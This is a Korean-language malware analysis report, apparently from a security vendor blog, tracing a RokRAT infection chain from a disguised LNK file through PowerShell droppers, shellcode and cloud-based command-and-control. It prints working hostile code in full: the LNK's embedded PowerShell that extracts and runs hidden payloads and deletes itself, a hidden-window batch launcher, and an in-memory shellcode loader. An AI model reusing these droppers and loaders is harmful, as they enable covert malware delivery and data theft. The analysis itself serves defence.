2.1 - 개요도
2.2 — LNK 파일 분석
Gate access roster 2024.xlsx.lnk
공격자들은 일반적으로 명령어가 삽입된 LNK 파일만 압축하거나 정상 파일과 LNK 파일을 같이 압축하여 공격 대상에게 이메일로 전송한다. 본 글에서는 압축 파일을 확보하지 못하여 악성 LNK 파일부터의 분석 내용을 작성하였다.
LNK 파일은 실행 대상 프로그램을 지정할 수 있다. 공격자들은 이를 활용하여 명령어를 삽입하고, 실행하도록 유도한다. LNK 파일의 속성을 확인하면 명령어가 삽입된 것을 알 수 있다.
[LNK 파일 속성]
LECmd 분석 도구를 사용하여 LNK 파일에 삽입된 전체 명령어를 확인할 수 있다.
[LECmd 실행 결과]
tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location;
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {
$dirPath = '%temp%'
}
$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0280216D} | Select-Object -ExpandProperty FullName;
$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin);
$pdfFile = New-Object byte[] 0x00002E32;
$lnkFile.Read($pdfFile, 0, 0x00002E32);
$pdfPath = $lnkPath.replace('.lnk','.xlsx');
sc $pdfPath $pdfFile -Encoding Byte;
& $pdfPath;
$lnkFile.Seek(0x00003ED6, [System.IO.SeekOrigin]::Begin);
$exeFile = New-Object byte[] 0x000D9402;
$lnkFile.Read($exeFile, 0, 0x000D9402);
$exePath = $env:public + '\' + 'viewer.dat';
sc $exePath $exeFile -Encoding Byte;
$lnkFile.Seek(0x000DD2D8, [System.IO.SeekOrigin]::Begin);
$stringByte = New-Object byte[] 0x000005AA;
$lnkFile.Read($stringByte, 0, 0x000005AA);
$batStrPath = $env:public + '\' + 'search.dat';
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$string | Out-File -FilePath $batStrPath -Encoding ascii;
$lnkFile.Seek(0x000DD882, [System.IO.SeekOrigin]::Begin);
$batByte = New-Object byte[] 0x00000139;
$lnkFile.Read($batByte, 0, 0x00000139);
$executePath = $env:public + '\' + 'find.bat';
Write-Host $executePath;
Write-Host $batStrPath;
$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
$bastString | Out-File -FilePath $executePath -Encoding ascii;
& $executePath;
$lnkFile.Close();
remove-item -path $lnkPath -force;
" && exit9C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin);
$pdfFile = New-Object byte[] 0x00002E32;
$lnkFile.Read($pdfFile, 0, 0x00002E32);
링크 파일이 실행될 때 수행하는 행위 순서는 아래와 같다.
C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\
경로에 존재하는 *rshell.exe 파일을 실행한다. 이때 실행되는 파일을 통해 Powershell Script가 실행된다.
현재 작업 디렉토리가 System32 또는 Program Files 경로와 일치하면, $dirPath
변수를 임시 디렉토리(%Temp%)로 변경한다. 일치하지 않은 경우 $dirPath
변수는 현재 작업 디렉토리로 유지된다.
$dirPath
변수의 디렉토리에서 재귀적으로 파일 크기가 41,951,597인 LNK 파일을 탐색한다.
위 과정에서 확인된 LNK 파일에 내장된 여러 파일 데이터를 추출한 뒤 파일로 저장한다. 이때 생성되는 파일들은 아래 표와 같다.
Gate access roster 2024.xlsx
파일과 find.bat
파일이 실행된다. 마지막으로 LNK 파일은 자가 삭제를 수행한다.
2.3 — Powershell Script 분석
find.bat 파일과 search.dat 파일은 LNK 파일에 의해 생성 및 실행되는 파일들이다.
find.bat
find.bat 파일은 search.dat 파일 데이터를 읽은 후, Powershell ScriptBlock으로 만들어 실행한다.
start /min C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe -windowstyle hidden "
$stringPath=$env:public+'\\'+'search.dat';
$stringByte = Get-Content -path $stringPath -encoding byte;
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$scriptBlock = [scriptblock]::Create($string);
&$scriptBlock;
"
search.dat
search.dat 파일은 viewer.dat 파일을 읽어 메모리에 로드하고, 스레드를 생성하여 메모리에 로드된 코드를 실행한다. viewer.dat 파일은 ShellCode이다.
$exePath = $env:public + '\' + 'viewer.dat';
$exeFile = Get-Content -path $exePath -encoding byte;
[Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072);
$k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34);
$a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b = Add-Type -MemberDefinition $a90234s -Name 'AAA' -PassThru;
$d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru;
$b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);';
$cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru;
$dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';
$fried3sd23 = Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru;
$byteCount = $exeFile.Length;
$buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100);
$old = 0;
$a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old);
for ($i = 0; $i -lt $byteCount; $i++) {
[System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]);
}
$handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0);
$fried3sd23::WaitForSingleObject($handle, 500 * 1000);
2.4 — ShellCode 분석
ShellCode는 암호화된 RokRAT 데이터를 복호화한 뒤 메모리에서 실행한다. API Resolving을 통해 제공된 API 해시 값을 기반으로 일치하는 API를 찾아 해당 API의 주소를 반환하고, 이를 호출한다.
[API Resolving 의사 코드]
암호화된 RokRAT 데이터는 ShellCode에 내장되어 있으며, xor 연산을 통해 복호화된 후 메모리에서 실행된다.
[RokRAT 복호화 루틴 의사 코드]
RokRAT 데이터 복호화 스크립트는 아래와 같다.
from idaapi import *
ea = 2045
key = get_byte(ea)
size = get_dword(ea + 1)
result = bytes(key ^ data for data in get_bytes(ea + 5, size))
with open("RokRAT", "wb") as f:
f.write(result)ea = 2045
key = get_byte(ea)
size = get_dword(ea + 1)
2.5 — RokRAT 분석
RokRAT는 클라우드 서비스인 pCloud, DropBox, Yandex를 C&C 서버처럼 사용한다. 수집한 감염 시스템 정보는 클라우드 서비스로 업로드되고, 클라우드 서비스를 통하여 명령코드가 포함된 데이터를 받는다.
메인 함수에서 주요 행위를 수행하는 스레드를 생성하기 전에, 먼저 감염 시스템 정보를 수집한다.
[RokRAT 감염 시스템 정보 수집 루틴]
수집하는 주요 정보들은 아래와 같다.
Windows OS Build Version
Windows OS Bitness
Computer Name
User Name
Current Process Path
System Product
vmtools Version
System Bios Version
정보 수집과 동시에 랜덤 함수를 이용하여 클라우드 서비스와 통신할 때 사용되는 값들을 생성한다.
[통신에 사용되는 데이터 생성 루틴]
악성코드에는 두 개의 문자열 복호화 함수가 존재한다. 두 함수 모두 암호화된 데이터의 첫 바이트를 키로 사용한다. 차이점은 하나의 함수가 키와 연산된 값에서 추가로 2048을 빼는 연산을 수행한다.
암호화된 모든 문자열의 복호화 결과를 출력하는 스크립트는 아래와 같다.
from idaapi import *
from idautils import *
from idc import *
from ida_segment import get_segm_by_name
import re
def get_ins(ea):
return [print_insn_mnem(ea), print_operand(ea, 0), print_operand(ea, 1)]
def find_sp(ea):
t_ea = ea
while True:
ins = get_ins(ea)
if ins[0] == "lea" and ins[1] == "ecx":
if "ebp" in ins[2]:
sp_flag = 1
elif "esp" in ins[2]:
sp_flag = 2
sp = ins[2]
break
ea = prev_head(ea)
ea = t_ea
while True:
ins = get_ins(ea)
if sp in ins[1]:
return ea, sp, sp_flag
ea = prev_head(ea)
def parsing_word_data(data):
data = data.replace("h", "")
return [data[3:], data[:3]]
def get_values(ea, sp, sp_flag):
result = []
if sp_flag == 1:
pattern = r"\[ebp-(\w+)\]"
while True:
ins = get_ins(ea)
if ins[0] == "mov" and "[ebp" in ins[1]:
op_offset(ea, 0, 1)
match = re.search(pattern, print_operand(ea, 0))
if len(match.group(1)) == 1 or len(ins[2]) == 4:
result.append(ins[2].replace("h", ""))
op_offset(ea, 0, 0)
return result
elif ins[2] == "ax":
op_offset(ea, 0, 0)
return result
else:
result += parsing_word_data(ins[2])
op_offset(ea, 0, 0)
ea = next_head(ea)
elif sp_flag == 2:
pattern = r"\b(?:esp\+(\w+))h\b"
while True:
ins = get_ins(ea)
if ins[0] == "mov" and "[esp" in ins[1]:
op_offset(ea, 0, 1)
match = re.search(pattern, print_operand(ea, 0))
if len(match.group(1)) == 1 or len(ins[2]) == 4:
result.append(ins[2].replace("h", ""))
op_offset(ea, 0, 0)
return result
elif ins[2] == "ax":
op_offset(ea, 0, 0)
return result
else:
result += parsing_word_data(ins[2])
op_offset(ea, 0, 0)
ea = next_head(ea)
def parsing_encrypt_data(ea, d_flag):
ea, sp, sp_flag = find_sp(ea)
ret = get_values(ea, sp, sp_flag)
result = ""
if d_flag == 1:
for i in range(len(ret) - 1):
result += chr((int(ret[i + 1], 16) - int(ret[0], 16) - 2048) & 0xff)
elif d_flag == 2:
for i in range(len(ret) - 1):
result += chr((int(ret[i + 1], 16) - int(ret[0], 16)) & 0xff)
print (hex(ea), result)
segm = get_segm_by_name(".text")
ea = segm.start_ea
end_ea = segm.end_ea
while True:
if ea >= end_ea:
break
else:
if "sub_40E716" in GetDisasm(ea):
parsing_encrypt_data(ea, 1)
elif "sub_40E6D3" in GetDisasm(ea):
parsing_encrypt_data(ea, 2)
ea = next_head(ea)
[복호화 스크립트 실행 결과]
감염 시스템 정보 수집이 종료되면, 클라우드 서비스와 통신하면서 악성 행위를 수행하는 스레드를 생성한다.
통신에 사용되는 클라우드 서비스는 pCloud와 Yandex이다. pCloud를 메인으로 사용하며, Yandex는 pCloud를 사용할 수 없을 때 사용된다. DropBox와 관련된 루틴이 존재하지만 사용되지는 않는다.
클라우드 서비스 식별자와 토큰 정보는 하드 코딩되어 있다.
[pCloud 토큰 정보]
[Yandex 토큰 정보]
수집한 감염 시스템 정보를 포함하여 클라우드 서비스로 전송될 데이터를 설정하는 과정은 다음과 같다.
악성코드에 하드 코딩된 4바이트 데이터 추가
수집한 감염 시스템 정보 추가
구분 데이터 추가 (0x28)
스크린샷 정보 추가
구분 데이터 추가 (0x2A)
현재 동작중인 프로세스 정보 수집 및 수집 정보 길이 추가
현재 동작중인 프로세스 정보 추가
[클라우드 서비스로 전송되는 데이터 생성 루틴]
최종 데이터 구조는 아래와 같다.
클라우드 서비스로 전송되는 데이터는 암호화되어 전송된다.
첫 번째는 랜덤으로 생성된 4바이트 키를 이용하여 xor로 암호화한다. 이때 암호화되는 데이터의 첫 4바이트 값은 공격자가 악성코드를 생성하면서 이미 알고 있는 값이기에, 공격자는 역연산으로 4바이트 키를 알아낼 수 있다.
[암호화 및 업로드 루틴]
두 번째는 aes-cbc-128로 암호화한다. 암호화에 사용되는 키와 iv는 아래 루틴에 의해 초기화된다.
[aes 키, iv 초기화 루틴]
aes 키는 rsa 공개 키를 사용하여 암호화되고, 감염 시스템 정보와 함께 클라우드 서비스에 업로드된다. rsa 공개 키는 ber 형식으로 인코딩되어 포함되어 있다.
[rsa 공개 키가 포함된 ber 형식의 데이터]
클라우드 서비스와 통신하며 수신된 데이터는 aes-cbc-128로 복호화된다. 명령코드에 따라 수행하는 행위는 아래와 같다.